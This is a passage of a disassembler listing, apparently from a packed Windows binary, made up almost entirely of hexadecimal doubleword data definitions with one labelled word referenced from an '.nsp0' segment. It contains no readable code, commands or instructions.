		dd 0D99E0BB1h, 0D0A7716Ah, 64C2B6F4h, 8680C3BEh, 59779E75h
		dd 0E7A2E968h, 0E1E0F0E4h, 20817D97h, 0FA1FF115h, 0D808F179h
		dd 0E90F0C4Ch, 0E06502ECh, 15DD23D8h, 0A9F6C3F7h, 278CB221h
		dd 7CF8927Ch, 5762472Eh, 61AA0D3Eh, 0DCF97172h,	0E774A683h
		dd 42F37359h, 9CF1135h,	47C05144h, 73EF7614h, 71BE99B8h
		dd 0CE460EB7h, 27BEA618h, 0ADB9A85Eh, 5BE40F5Fh, 0B138EE78h
		dd 6759A938h, 81A2FD19h, 628DCBEAh, 0F473B1F3h,	4C3E5016h
		dd 2E9D166Fh, 0C8FDFA58h, 83DDA0A3h, 0B4A49134h, 721410C5h
		dd 8FAB6719h, 0AB40C38Ah, 0C28FE713h, 0E51AE992h, 5DE2EC41h
		dd 1430C7EBh, 3F13959Eh, 4130A1C1h, 61796599h, 27DBC5B0h
		dd 16731469h, 9B08C1C0h, 0EA91A7B1h, 0F497C8ECh, 2001AC13h
		dd 4055251h, 0F8D97661h, 0CBE44BC8h, 89C02BBDh,	0A94C853h
		dd 6E718E98h, 0F2F54751h, 2CCD5BE4h, 3A09DBC5h,	0ED80068Ch
		dd 14604BEDh, 74455356h, 0D36E3FD4h, 6A9F7E5Eh,	0AA74C02Ah
		dd 54D558B7h, 382EDDB9h, 0EC5A0C81h, 0B98F216Eh, 575AA552h
		dd 8024A421h, 5CCDDED4h, 0E1A80309h, 339DD774h,	958F0419h
		dd 2684C1F6h, 0A48FCDA1h, 583A1612h, 951924C5h,	7346B988h
		dd 2EA4D34Ch, 4802DA46h, 1A81ABF9h, 0A3577D1Fh,	0C963BB5Bh
		dd 0A77FD870h, 0E07FA504h, 0A2BA5DC7h, 0A7977ACh, 2C19D39Fh
		dd 2480CBD6h, 1E9EDC1Dh, 0C7EED401h, 31426417h,	0EA1B13D4h
		dd 0E08329EBh, 290FF0B6h, 70CF3C6Bh, 24330D31h,	62332A6Ch
		dd 28A41B73h, 0AA42FDF4h, 0D685DEC4h, 0C7B856B1h, 0E8B44139h
		dd 791DB83Dh, 51634E8h,	11313DC8h, 4FC6D0EFh, 0DBCC1FB5h
		dd 4DACB94h, 50CCE7Ch, 362AAE1Dh, 94F332B5h, 0E4B405A0h
		dd 5D9D2A04h, 0EC73867Ch, 1BBCDB0h, 6C513B5h, 3A561250h
		dd 2F89D88Fh, 0D17DBC32h, 4EFFF1D5h, 479850FEh,	833D4AB2h
		dd 4CAD2277h, 0DB063BE8h, 0FAAE8E02h, 0B73EAD57h, 7FFEEECh
		dd 0F08DE4EAh, 8236130Fh, 0B6D4B62Dh, 0F4829141h, 909E28B0h
		dd 0F25E03B2h, 8E68AEFDh, 9FA45099h, 6EBCB0D1h,	0E18D222Eh
		dd 0DA1B3BC8h, 2EC37EBDh, 0A916A041h, 429D39EEh, 0D7B8D647h
		dd 199C804h, 0D2145FD1h, 0D0B015DBh, 747358FFh,	85F066FCh
		dd 5ACAEF4Ah, 710F6D6Bh, 0AAAF77F2h, 77D56D18h,	8F97FE4Dh
		dd 0E4A56DFBh, 544CB638h, 0B60A7439h, 3FEEF075h, 0C6BF7B38h
		dd 7903811h, 90AC1585h,	0DA48DC96h, 0B4DBAEBFh,	57C60BB9h
		dd 75A9A960h, 6DF2092Eh, 2C2727FCh, 26317295h, 3D039061h
		dd 76D178B5h, 79A954B2h, 0D50E006Ah, 6AA023CAh,	20383302h
		dd 0EF1C33B5h, 2428E6A7h, 0B122D76Fh, 60BE86B9h, 0DF01E1E1h
		dd 0A47FBE66h, 847EB751h, 0F65D6389h, 0E5AF4F68h, 63A68E9Fh
		dd 41E4F2CAh, 8DF572B5h, 17FBA9DFh, 414A9B73h, 0B66B1AA6h
		dd 5FD972BCh, 460D8A9Bh, 5ECD4609h, 9477D7CEh, 0DBB3FA9Ch
		dd 6C254589h, 0E3034950h, 88E12F1Bh, 0FE150E45h, 38348145h
		dd 2D621B9Eh, 99A5F7C8h
		dd 5C5BF5F0h, 0DD7E8102h, 8444B89Ah, 0B9B90FADh, 8F371F59h
		dd 7DA9047h, 0F646BAE5h, 978C1E55h, 0DE35ABC4h,	8C14CC31h
		dd 4C5AA10Ah, 3ED3A5EEh, 22702613h, 0C235B4Ah, 68CCBFC6h
		dd 5D0C0098h, 0EEAA8F0Ah, 48713B61h, 5B25CACDh,	0F596D325h
		dd 59DB0759h, 652B6D0Eh, 0AF471590h, 8C59B952h,	9B713160h
		dd 0E2EB7C4Dh, 0E5ADC3Eh, 4F1EBD8Eh, 0DAF781E7h, 7F285E8Fh
		dd 9B2F65ACh, 0A7FA35F3h, 814643FBh, 0D76A8998h, 37DC8FF5h
		dd 52912910h, 460366AFh, 32814539h, 0BE1BB188h,	0E7FE3388h
		dd 0BF0138Ah, 828B6113h, 0D2666h, 70C9D790h, 7DEEC890h
		dd 0DEBBAACFh, 74DE8A96h, 589C973Eh, 0DFAB42C2h, 332B7BB0h
		dd 0E484946Ah, 66A8598Eh, 4BE690DDh, 1015DF07h,	0C4801DEh
		dd 7FD5E786h, 30C5C4DBh, 56C32D88h, 0C0E04C0h, 0CE23B78Ah
		dd 96AEA3F1h, 9F5BEF74h, 625A9C9Fh, 8733BEC3h, 0C85F7B5Ah
		dd 58B3DE41h, 23A7B45Eh, 192AF6DCh, 0C185C4E9h,	5C1FCBFAh
		dd 0ECBF497Bh, 5BEB2D48h, 7347DC64h, 0E23BED4Ah, 0A8A11AF2h
		dd 9210E93Eh, 90CB05Eh,	94F907Dh, 737C67ACh, 0C63732E4h
		dd 513EBC88h, 0B0B355DCh, 76B1643Ah, 3FD1E23Ah,	4B3CD57Fh
		dd 0AD476B9Ch, 26565917h, 919B8B24h, 0CD511F27h, 0A9F64B49h
		dd 41A36A81h, 41766669h, 0BEEB6122h, 2293D831h,	0A8E9D2B3h
		dd 0E0A8089h, 0F4F4AD85h, 0AA80075h, 947D91F5h,	17CB4536h
		dd 0F84C2F0Bh, 87D9061Bh, 0C84DC5BFh, 984C8806h, 0AED5F774h
		dd 0AF8CA423h, 97E6E9CCh, 38AB7B82h, 0CA32970Ah, 7C7A5C77h
		dd 0D4CA0C1Bh, 325C1A14h, 2422FE51h, 0BF8D98D7h, 0D923D92Dh
		dd 4AE57631h, 0FC0EF4F3h, 0E16814FAh, 0B05D97D3h, 0A4476983h
		dd 3A8584B1h, 5328B736h, 0B5DF2248h, 5BA647F6h,	1EB1F554h
		dd 0F8BBF6E3h, 1AD4D00Fh, 1E1F9378h, 0CB616117h, 0BA804496h
		dd 57467689h, 715558C6h, 4E5BC815h, 0E1BE0E22h,	64C0931h
		dd 4364CF4Ch, 0D483683h, 0CEE7D5B8h, 0F3479AE3h, 10DEA476h
		dd 7FBA832Dh, 0DF09A547h, 118FF05Ah, 0C4604726h, 371AE549h
		dd 7C7D87D6h, 1638F5DAh, 4C3E1A31h, 0F9FDF2D6h,	492DC326h
		dd 0B07F646Fh, 3C0B7B93h, 5D06A9C0h, 50E5351Fh,	584C0E3Ch
		dd 0CFCF85B0h, 0CCB90D48h, 36DFB1DCh, 0DED3962Eh, 0BB5AECDAh
		dd 0A3ADE81Fh, 0ED32E743h, 3B085522h, 58018D5Eh, 11371773h
		dd 0AB59BFD4h, 2E50BDF5h, 0AEF6346Ah, 0D7657A24h, 4E0BA5F4h
		dd 9C76397Bh, 8CC6B107h, 0E088E872h, 59701679h,	4BFFDB2Bh
		dd 4A2960B7h, 2DF461D7h, 4B5182FEh, 0E937BE4Ah,	39A95B1Dh
		dd 0E3DDEEAAh, 1904ABF3h, 5CF3587Fh, 0B07B4D14h, 0D5C287FDh
		dd 0E55DF328h, 415B9C72h, 59FBCDAAh, 0E36586D8h, 750CC374h
		dd 1CE2A17Dh, 83CC51E1h, 71055F30h, 0D3C8DE06h,	44B79945h
		dd 442890B9h, 0F6DF3AB2h, 3365F363h, 5DC2720Eh,	59586613h
		dd 0A7759266h, 132189BDh, 5FFA31B5h, 82511ABCh,	192AF0B7h
		dd 4A1E4EE0h, 885D2DEh,	0B3181F42h, 2623DE4Bh, 3BFDEF1Fh
		dd 1D4ECB61h, 69C85A1h,	0E9157375h, 441ED08Ah, 5D87085Dh
		dd 56E22897h, 0B37F6852h, 8D840B31h, 137139CBh,	0B628689Ah
		dd 2D654CF6h, 3CCA0E87h, 0C82FCB35h, 0F908893Ah, 243E6893h
		dd 0AF2FEB83h, 7A14BA4Dh, 0CB5E318Fh, 893F19E8h, 0D15AC38Fh
		dd 2EC8D61Eh, 67DF4DB6h, 0E77BAA98h, 0B7954379h, 741E8AC4h
		dd 871982DCh, 6E29FD09h, 0F2085F00h, 0B4E720A4h, 0AC56430Fh
		dd 0D3E32521h, 0F9D8EB3Fh, 0C211BADBh, 69D454FBh, 2C1FA776h
		dd 921791E7h, 4956056h,	8929217h, 0E0D365D5h, 32F7066Fh
		dd 8BC01E6Bh, 9714FDF0h, 0DE89D9A5h, 0D1CB3B75h, 0E035AF16h
		dd 0D6EE4073h, 3FEA93BCh, 0F335A5E4h, 0BF9DE4A0h, 3DFC615Eh
		dd 30697AB2h, 69B736DDh, 9EC237C4h, 0BE87ACBAh,	19F0B203h
		dd 103C02FFh, 0F4702D85h, 1A8B361Eh, 39691117h,	75068922h
		dd 0B3A94C49h, 0C9510321h, 0C7FED614h, 0EF666023h, 52438DE1h
		dd 2A74ED30h, 1A6632FAh, 0C76A8067h, 98CCEF77h,	6CC96126h
		dd 0C685205Eh, 0A4301F8Eh, 0C593EB98h, 8CC0BEEBh, 54BF66A5h
		dd 0B6B3D545h, 0DD41EBCBh, 7606F416h, 3DDF4613h, 0D21101C6h
		dd 0F2EB4FF1h, 0CCFC4DA1h, 0BF877C58h, 0AC370B3Fh, 0B52D85FCh
		dd 0F3A2E421h, 4671B082h, 1093FF00h, 56EB3B89h,	1E1BDBF5h
		dd 598B74F9h, 4E3CDF54h, 71410F0h, 6A335592h, 0E10D94CCh
		dd 290A37DDh, 0FF5C5313h, 0D42C3DE9h, 0C42B17EFh, 4FD4F634h
		dd 5934ED8Fh, 8D5C746Bh, 2C55AFC2h, 6718A025h, 59FB4D27h
		dd 277CB1FCh, 0FF28BD3Ah, 0A4707476h, 8D989D1h,	995779D0h
		dd 49B82AB8h, 86C1A0C9h, 0A92C5208h, 18B128F1h,	3C1618EEh
		dd 0AABF2575h, 5727EE17h, 0EC4F6Ah, 6C66F0C6h, 0CB99F0ABh
		dd 15CA77C6h, 67F96001h, 0BB4CDCA1h, 0DA0DC109h, 4BD5E1E5h
		dd 0F798A702h, 0BC3A2B1Ah, 2FD07D79h, 0ABB4806Ch, 0FDB6950h
		dd 974AE8CAh, 7AEC0F44h, 0B5ACFF0Ah, 0A1D5E87Eh, 0A0FB6040h
		dd 0D75ABFDDh, 5FF7E5FCh, 81BFDC66h, 8B9F1B5Fh,	0C9B11083h
		dd 59524428h, 1B4CE55Eh, 1D1589A1h, 0FD2960E6h,	992E47F2h
		dd 77532247h, 9BCE092Eh, 1DA49D8h, 3AC0472Dh, 7054E6B7h
		dd 458D18E5h, 45A43BC5h, 567F3B02h, 0F5545834h,	0A41BBA6Eh
		dd 187A379Dh, 0D88AD101h, 173B15A3h, 0FB582BBCh, 0DF9D9228h
		dd 3BD59748h, 0C4DA16F5h, 0B2A58282h, 5390A2D8h, 0D66C9284h
		dd 0D3591DE2h, 0C543C867h, 0C38B857h, 0ECFB6177h, 9F47C52h
		dd 78E1F1CCh, 0A29F2E2Eh, 52D960BCh, 0E8A2F06Ah, 0B0FC5711h
		dd 0CBCB6913h, 0EFC7634Fh, 0C9BBB7B3h, 8EFF93C7h, 10F1E7C1h
		dd 3802655Ah, 0E52CC823h, 24D05D98h, 0A0FAB90h,	35D0EE57h
		dd 7D9825C0h, 737F7867h, 622F5A76h, 15BED53Eh, 58502BB3h
		dd 0EDC377BAh, 0B6442ACAh, 62ABC6A1h, 0F55BEE46h, 585B9BD5h
		dd 49057D2Fh, 6A2CAA12h, 0C938A960h, 0D2098A4h,	71AB8642h
		dd 395D7427h, 0EC807281h, 0B3DA0C9Eh, 1A3D15CCh, 9BB5CE97h
		dd 806A04CAh, 0DCF86985h, 261D0ACDh, 5E85EB10h,	3B8A5924h
		dd 657D8C5Fh, 0D6058879h, 0DD28192Eh, 0D9D45595h, 2956DFCAh
		dd 9E84C3A7h, 338801F7h, 0A5A99B0h, 0C350C06h, 447D2FB1h
		dd 34D5E44h, 0A00AD506h, 0A171B4EEh, 559D4CD2h,	0CF176530h
		dd 5ABB0FEh, 97D1352Dh,	9CCC083Fh, 5A116399h, 0DFB51BE5h
		dd 0A366EB94h, 0BA8F59DFh, 107F17B0h, 0B4732970h, 3E957B0h
		dd 45080CC0h, 9BB25CB8h, 7898BA23h, 8AE97672h, 0FBB56E4Ch
		dd 0BDAE6806h, 4EA47D38h, 1489ED5Fh, 0F8B23066h, 0FE7A1AEAh
		dd 0C8B00425h, 377550DDh, 0EB11C0B1h, 0C707597Ch, 0ACC45DB1h
		dd 0CF4CE4B6h, 6DEBCDE4h, 7E68D507h, 0BC2CEE71h, 25052DABh
		dd 3E4A559Bh, 29914A63h, 0FF9A9FF5h, 4673804Fh,	5D44949h
		dd 0AE421C33h, 3BEC3F3Fh, 879B89F7h, 30B40224h,	3AF90935h
		dd 0CAC5D13Dh, 9757D6Ah, 38477B50h, 0B6718571h,	5DA22742h
		dd 131B421Eh, 3A843B2Ch, 0E21006EDh, 47DB6AA2h,	5B04CF9Ah
		dd 0D9F132CBh, 0D1D951AEh, 0AD5634BEh, 472368C3h, 2188DFC8h
		dd 0D1383C24h, 0C3B409E8h, 1F879737h, 2F14C1A6h, 752F3361h
		dd 0E3D84C1h, 80CB3BCBh, 0C0FA4CA8h, 0C17700E5h, 609546C2h
		dd 87015B86h, 603BA0E3h, 98CCC74Bh, 3094CAE9h, 9647B347h
		dd 0D09EACE2h, 1ECEC926h, 7821936Ah, 0DAADAD31h, 0A6CA381Ah
		dd 7BC4C412h, 903D38FAh
		dd 0C0C7CC87h, 0B39F754Dh, 0DA1D0CD1h, 0CAD0CAAAh, 34AA7423h
		dd 0A0D70D2Ah, 3A473CEh, 6D626DAAh, 0AC576BE8h,	7C77C7D9h
		dd 63BCE0A0h, 0E0B0BADCh, 2606D040h, 82BB225Bh,	0D46F48C4h
		dd 870890ECh, 0E3D268Eh, 0A5441DCBh, 0DCE453EEh, 0CC361E87h
		dd 8B772BF3h, 97213831h, 40B7A791h, 0CE401C9h, 622E780Dh
		dd 0E5A8A75Ch, 103699ACh, 11DA82AEh, 3582322Ch,	0B71B6B64h
		dd 0B57A6558h, 52015BF1h, 0D4E81EFDh, 8D31FE38h, 34BD0B90h
		dd 22FD2451h, 0C1241BE4h, 0DB849E3Ch, 0FAFDFAAEh, 4F89A739h
		dd 0AF78971Dh, 2CFA8286h, 0B17123D3h, 7D1DC32Ah, 641F90B2h
		dd 676EB704h, 8017ED96h, 2D069230h, 0EB48B634h,	7D28CE11h
		dd 22F72B06h, 0D1586E84h, 0D1264DBBh, 1EC11795h, 0B36C3171h
		dd 4AC4794Fh, 924CA19Ah, 0A0FC5552h, 0FAFB6459h, 0DF52D8CAh
		dd 0B3AF2447h, 0A85892C4h, 53A74D80h, 0E86B258Fh, 8D08DC59h
		dd 0DC8F7826h, 7BBDD4C1h, 9854D254h, 4DFF7B54h,	65D1511Ah
		dd 9C45096Fh, 43771F9Eh, 1947B1A1h, 0F5A9195Dh,	7938BFBCh
		dd 0CA89DE07h, 77DD3EBh, 1D2C100Bh, 0E59E243Dh,	0D2F6F558h
		dd 71976C6Ah, 4D6A77Ah,	0C9D2B866h, 0EEBA339h, 8FD06311h
		dd 44CD5AC0h, 2084A758h, 503ECD07h, 670C4F53h, 0DA9229DFh
		dd 0B3B018B2h, 0F6CC2BC3h, 920F9727h, 53FFD395h, 8F882C70h
		dd 62EBE9E4h, 16F3341h,	38067513h, 8C6165A0h, 6AF977C8h
		dd 0AD2C383Dh, 0D882BA5Eh, 62C9BBC7h, 57868BEFh, 161768D1h
		dd 0C16C9569h, 57A7F29Fh, 1BEDA742h, 0B9198F09h, 0E8ECF92Dh
		dd 1BBC905Ah, 1B25B2Eh,	2EB52F00h, 0AF6C5DF0h, 30432760h
		dd 6F3F848h, 6609226Ah,	0AE520F26h, 5B10FA81h, 15FFF032h
		dd 0A572695h, 0C39A977Bh, 0EC741000h, 831DBA23h, 0C25CFAC6h
		dd 3781DA66h, 5BDC48CAh, 595AFFC5h, 0ADF54FFDh,	38328602h
		dd 2E0A9386h, 0E528A3F3h, 3CFA4C05h, 9C015F6Ah,	385B0A57h
		dd 4803FCB4h, 63D2D3EFh, 29C0EA09h, 0FA2AB7Fh, 602602D4h
		dd 0BECA5AD6h, 702E20A4h, 5C11D823h, 0A108C268h, 62FE26F2h
		dd 0C0DD9E1Eh, 0EB508DBAh, 0B23D396h, 72F74FBBh, 1190729Ah
		dd 96915E6Dh, 0FC510EE1h, 0B5C6489Eh, 0BA65CF41h, 0B7C2A6CBh
		dd 506E690Eh, 55B1D9FFh, 1116C498h, 41A4B16Ch, 0EA41A3B5h
		dd 38603C0Eh, 0F168724Ch, 31B9030h, 8BECAE3Eh, 17E02357h
		dd 0D4BC198Dh, 0F68932AFh, 77B724D2h, 30239144h, 0B5603ADEh
		dd 0DAE3D656h, 5D3ABE9Bh, 12EF4757h, 99C0EA4Dh,	0EE5B5E3h
		dd 0FBA6BE65h, 0CE68A217h, 0F0508A1Ah, 0CC22ED03h, 0E028ECF5h
		dd 0CAAF23FDh, 0E7FD8181h, 2721C165h, 0E972DA50h, 9349A211h
		dd 0C4DA2EF5h, 0A82C72BDh, 5C2EA9B9h, 0AE50DDF2h, 0BDB9A7BEh
		dd 0BBF86370h, 67BD2535h, 8454D495h, 0E7657EBCh, 0AA108D84h
		dd 7120E42Bh, 0FEAFB7A0h, 0EF5E355h, 8351B097h,	6A4D09AFh
		dd 3AFD82EFh, 56038E68h, 93C40A6Dh, 596B41DAh, 396742Eh
		dd 0AD5D069Dh, 0B552C4E7h, 0D15C23ADh, 54520D3Bh, 68B8A4BAh
		dd 1DC3ABD2h, 0C76BCA87h, 0E00FB11Ah, 1C909A5h,	800AFED1h
		dd 5CCC2F6Ah, 69991C4h,	3559130Fh, 0DB38B08h, 2D54EA15h
		dd 61D28329h, 642FB8FFh, 0B1305785h, 0FA3CC7A0h, 0F507DFA8h
		dd 840C6DEEh, 99B69BA1h, 45A81E04h, 8D56EF4h, 0F7DCE09Bh
		dd 270F4070h, 89AFE680h, 0AA628F87h, 8F34D780h,	0BDEFE064h
		dd 42733F9Eh, 92022C57h, 46E965A5h, 2068AE65h, 0B2E0F7D5h
		dd 9D556CD2h, 78ED92F2h, 6B0FA6A9h, 0D192C383h,	40145ABBh
		dd 68B36823h, 254C5CC6h, 0A6C6621h, 11CD8FD6h, 16EB95A3h
		dd 63607874h, 81DD1028h, 0F9594CD8h, 0EA03F98Dh, 2EEF1427h
		dd 0BFAF5F8Eh, 0DB71F7DBh, 85F21C7Bh, 1B5ADF78h, 1D790AFBh
		dd 0CF5D5ECCh, 16E1D12Bh, 7BC04D34h, 19AB8EDCh,	30259DC0h
		dd 624334B5h, 0D1E92B5Eh, 5908CDD0h, 0A1F1FFFAh, 0DA496699h
		dd 0D2B930BDh, 0F5994F3Ch, 6BFEE285h, 2AFF9461h, 780DCB3Fh
		dd 49017497h, 21BFDE9h,	0A2E7C9AAh, 138FAFD6h, 0FD4F5E6Bh
		dd 0AE46D614h, 0BF5EEBBFh, 7E511419h, 565CE25Ch, 17974220h
		dd 27ADDCFAh, 8E273757h, 137F1E50h, 0C3938414h,	0DC60D075h
		dd 2D62B303h, 22E08587h, 78CE7FC7h, 7F8D3D48h, 0EC97D5FBh
		dd 239B5CB8h, 804CB253h, 354E85BAh, 1424B286h, 0BD839D78h
		dd 0B3322836h, 0FF522D5Ah, 825461F8h, 912D11C8h, 8AEF1D54h
		dd 30B1729h, 70A78C77h,	1106CDEAh, 0EA472525h, 0F73A74h
		dd 997128FDh, 0ACDD6A01h, 0CDF87938h, 9CB359D4h, 0A3495ECBh
		dd 5F41CC40h, 0D4AC56FAh, 7C6D3BC5h, 2C691377h,	99C43C39h
		dd 0AB1B96CBh, 7C183589h, 52418918h, 6FC5766Ch,	3FD46DF8h
		dd 9E35784Eh, 86396461h, 32941EEh, 0E04A83E3h, 0BF31DF62h
		dd 4CA3FCEDh, 2183FA60h, 95A1004Bh, 0CCE7B57Fh,	71FD68DCh
		dd 43CCA5BCh, 32C61C49h, 3CD750A4h, 52BD0F7Fh, 0C86301ABh
		dd 0A8B00748h, 0F5BD9F4Eh, 0AF0EA005h, 0DB291BA1h, 5689AE1Ch
		dd 0D78E493Ah, 33BF4923h, 67A3697Ch, 76EF5635h,	810C11A3h
		dd 3F7FE70Bh, 0F41237D8h, 3BBEA94Ah, 0A9A06268h, 28C9E0F4h
		dd 0B97F8E59h, 90938A4Bh, 6EC1A721h, 7C29D59Bh,	0FD0C2484h
		dd 0E363606Dh, 34E72527h, 6136053Eh, 6AAC53F2h,	0E7E5E650h
		dd 0B20F12DDh, 0C05D0F33h, 0C9768167h, 519589F4h, 0B881D0EFh
		dd 0BAC3CC29h, 85803D3Bh, 8ACC9598h, 7CBF0F02h,	65BE0E4h
		dd 5A8F90DAh, 4D2939C0h, 0AD16FD58h, 28A5F7C9h,	37924D70h
		dd 73C3D096h, 0B4E9330Eh, 0ABE6F194h, 0D1C2BA29h, 4D668E77h
		db 33h,	0B7h
word_505446	dw 5A1Ch		; DATA XREF: .nsp0:off_43D9D0o
		dd 23E0D2EEh, 8478A944h, 8B9FCD3Ah, 575A48DFh, 73A1F927h
		dd 2DD54823h, 0C179594Bh, 0DF4D9CE9h, 138CA1D6h, 5E1D1403h
		dd 0AC9ACB52h, 0D5B0D2AEh, 4CB5119Dh, 64A6E9DDh, 487FB899h
		dd 0CE64AF3h, 6D4B3E4Fh, 8C7198CCh, 2579FEDFh, 0F71C2D57h
		dd 6A6C7C1Eh, 4CE05214h, 9CC22D07h, 0D0D68C72h,	0FF16B62Eh
		dd 397DF8DAh, 8D72347Dh, 4FA99D21h, 5D880C92h, 0CA34089Ah
		dd 0F39EFE32h, 0BC5BC01Eh, 7BD1B848h, 375C17FDh, 0B1F08CFh
		dd 3EF22CDCh, 0FA3A0ADFh, 64C1022Dh, 5D968A04h,	66DC4403h
		dd 0B05DE016h, 18302F15h, 2C55CD1Fh, 9B77F924h,	39FBFF8Ah
		dd 0C1A681F7h, 0EBC00A53h, 16397EC6h, 710B4D1Fh, 0F4397576h
		dd 9BA15EB6h, 3A80544Eh, 561D664Ch, 142FA49Dh, 0B21885E8h
		dd 904C4835h, 3F2C9E59h, 0C16EF8B6h, 0BFEEF638h, 0FC101781h
		dd 4FCA7646h, 9801AAACh, 5729428Bh, 68F4065h, 50975430h
		dd 0E4AECDACh, 710A7062h, 0BD888C28h, 4C9A6E49h, 597DF4A3h
		dd 0C2FF7B6Dh, 85252EE5h, 2AF3BC86h, 0E6DCDF33h, 73577FB9h
		dd 0D05DDE9Dh, 530E1CCBh, 1F2D9BBCh, 0B9A1626Dh, 152D7D8Fh
		dd 0B195252Fh, 71157D90h, 478524C2h, 0B83B71B5h, 42C6CF21h
		dd 0CA856C4Bh, 0C46D7D57h, 5BDB9892h, 0EB78140Dh, 0B47F05DEh
		dd 14F04EE8h, 78634E6h,	4EBDAE59h, 0C4428C8Ah, 2A5C76Bh
		dd 0D140FB62h, 0E0D8AF8Eh, 0B626FF1Ch, 88E83362h, 0C768D6EAh
		dd 9CFA8075h, 0D361A39Bh, 0A3F19299h, 0E69ECAFAh, 1CD93A0Dh
		dd 6CABE714h, 0BD8559D1h, 0B4D80987h, 5C87FA42h, 55850ADFh
		dd 0CA99C2DCh, 77D9F535h, 0E1C74F60h, 10637D8Fh, 8389DE0h
		dd 23705881h, 881D2B8Dh, 31B8F354h, 2840070Bh, 31E9C9D4h
		dd 0ED083B00h, 0F2620C5Bh, 0E728E7F4h, 264E90A7h, 5986B705h
		dd 11DA1A70h, 7AFCD3D7h, 68C69E89h, 6ABA9FE2h, 1ADC76F1h
		dd 0FA43A9FEh, 0E8424C68h, 8669426Dh, 2FF7AF71h, 6E227E50h
		dd 85AEB176h, 84629627h, 75C3BC43h, 94B8B15Fh, 70374825h
		dd 0A6CED7A0h, 8335C43Dh, 0D31EA395h, 0ACF1DE3Fh, 0EB8208A8h
		dd 0C240B4EBh, 0D5C635F7h, 493DFB09h, 75F37CBAh, 4968410Ah
		dd 0B5C81C17h, 5FCA5A0Eh, 3433CFE9h, 23CDC5BCh,	11D6DE97h
		dd 0AC3AE631h, 9A3FE6C6h, 99AD68A5h, 0C416D208h, 0BF13BD7h
		dd 762A897Fh, 3AEF7177h, 0AA3FBBD0h, 0FF27F9E7h, 40E4388Dh
		dd 8EDE4CA3h, 9598DB8Eh, 9A09419Ah, 0C60C1AFDh,	0F663BD3h
		dd 39C3E9F9h, 9BDC9EB0h, 7BDBFC02h, 0BD76CFB2h,	6F3E344Dh
		dd 711DD8CCh, 200BAC7Eh, 0B687B8D7h, 9D992265h,	372E2574h
		dd 229BEDCh, 0EB3BF741h, 0B7AD9DB0h, 0B94AC6F4h, 4ADA5812h
		dd 37DC56C1h, 0F029E556h, 4D3B91B7h, 24B4FB1Ch,	0DB279A45h
		dd 0F0D43F94h, 9F766DC6h, 5BB01624h, 3EE8A8CAh,	19D27C47h
		dd 203498DCh, 72B701A9h, 0EC5EB0A8h, 1F1C00A3h,	0A7B8CF97h
		dd 12117D3Eh, 59A0FF4Eh, 0D1D10252h, 649987E3h,	0AB9FAE0Ch
		dd 0C4A4F063h, 13275A38h, 3CC87519h, 9363136Fh,	59D1CEB2h
		dd 33CC39DBh, 57ED1ABFh, 97F92FF2h, 11267F79h, 0C3B8E5CEh
		dd 0C45077F1h, 0C201291Bh, 2A2491CAh, 403A6401h, 898C281Ch
		dd 23F4EFC4h, 0D1088DC9h, 1D1E9B96h, 75F9E6B6h,	0D8A0F302h
		dd 0FAD6368Fh, 316CAF18h, 0E829DD66h, 3B88F26Eh, 0F68C2312h
		dd 31E09551h, 73628C01h, 0F5826014h, 0D8D5FC1h,	0DCFF23AFh
		dd 151D3E6Ah, 0D6AA999Fh, 8A464549h, 0EEB4D2BDh, 7E168CC5h
		dd 6448D556h, 67F2F702h, 477E74FDh, 46C80F88h, 635A0653h
		dd 0D628DE45h, 6A3B7E17h, 70D55010h, 0BEEE1B74h, 9EAD3B88h
		dd 0D3CE16B7h, 0B4378C59h, 29950EB4h, 674C1FFDh, 0F5F61D9Bh
		dd 632EC1C9h, 0A40552Eh, 0C99AEDA7h, 95FE24A3h,	0CE865B35h
		dd 578BC979h, 0B60D1C25h, 3C028FEh, 7036FA7h, 14C8ECCDh
		dd 0DB178E67h, 2894393Bh, 0CC3AC951h, 9A4D03E2h, 6EDF8941h
		dd 185D8F12h, 483A41DDh, 6314A2A3h, 338163E0h, 0ABB06BFEh
		dd 6B698A1Ch, 63AFEF1Eh, 0F2C4F283h, 0FE7D21BAh, 11272C6Bh
		dd 38BF2371h, 70F7E7A3h, 9DFA152Ch, 57D25Dh, 958BC766h
		dd 0C859EDDBh, 25C257E9h, 9C5D457Fh, 0ED944913h, 0CEDBD80Eh
		dd 0D33038C9h, 0AFB954BFh, 181845E4h, 0AA6A8669h, 0DA2B552Bh
		dd 0B8F3B682h, 0AFAD2BE4h, 0C45655E8h, 0F74737Ah, 718A3AA6h
		dd 8BB33E73h, 1C54FCC5h, 0BDA31C06h, 0A9764D65h, 963DCF77h
		dd 0A12FE4D0h, 0ED14C3EBh, 90CFB35Ch, 6BFC52F0h, 0FAA7E8B0h
		dd 0A155047Eh, 0ABC1F49Ah, 77666840h, 0F9F4111Dh, 46CDDBE8h
		dd 0F191FDCAh, 0B3C691A4h, 0F0C40986h, 9A986828h, 0B5264ED2h
		dd 0A2728412h, 46767332h, 362EBAD7h, 0F5C43BFEh, 42A19D8Dh
		dd 8B0ED10Eh, 0AE29AB11h, 0B083251Bh, 0BBB21AF5h, 3B622A62h
		dd 2ACFBF5Bh, 0F37F5EABh, 6D1F9BFh, 76F0BAD9h, 0EACC6DBDh
		dd 0E28D9E4Bh, 9B77B445h, 96C7B1F3h, 0B582F992h, 0E9FF75F9h
		dd 334460C3h, 0EBFFC360h, 43D08771h, 80D7F542h,	65A13919h
		dd 0F0BBFE80h, 6332C1A1h, 0DFE178FBh, 70C89532h, 9AAE4945h
		dd 41778358h, 921101F5h, 0EE346947h, 52E04EA5h,	1EF8E457h
		dd 66C8733Ch, 0CABFA5FBh, 84A75Dh, 0B28CEEA3h, 8D7CDE55h
		dd 50B52E66h, 0A5D0D958h, 0EC2D3A2h, 0C50BDF25h, 7F76973Dh
		dd 5352DE2Dh, 0BB09CE5Ah, 38FA8B44h, 0C2BE1BE9h, 37E2D4BDh
		dd 62FB1488h, 0F7B9435Bh, 0F6318466h, 2B889579h, 6F476A81h
		dd 99CECCE6h, 0A02E9C27h, 72441F60h, 0B03A97E7h, 0B7208344h
		dd 0DBA9275Ch, 5359BB8h, 0CE542D18h, 0B593B74Ch, 972C82D5h
		dd 0DEABBD57h, 0DC53764h, 1EBAAC35h, 1E425930h,	0C54302C3h
		dd 0E44C1FC1h, 797034Ch, 68BF8609h, 0FC1149AAh,	0CDFF45A4h
		dd 0FDCD8B8Ah, 7DC39DC6h, 0EF6135D4h, 2D65CF06h, 70D10F3Bh
		dd 0ED73344Bh, 0A3B35C33h, 9D688CD9h, 1BF72E57h, 0C9D8C6Ah
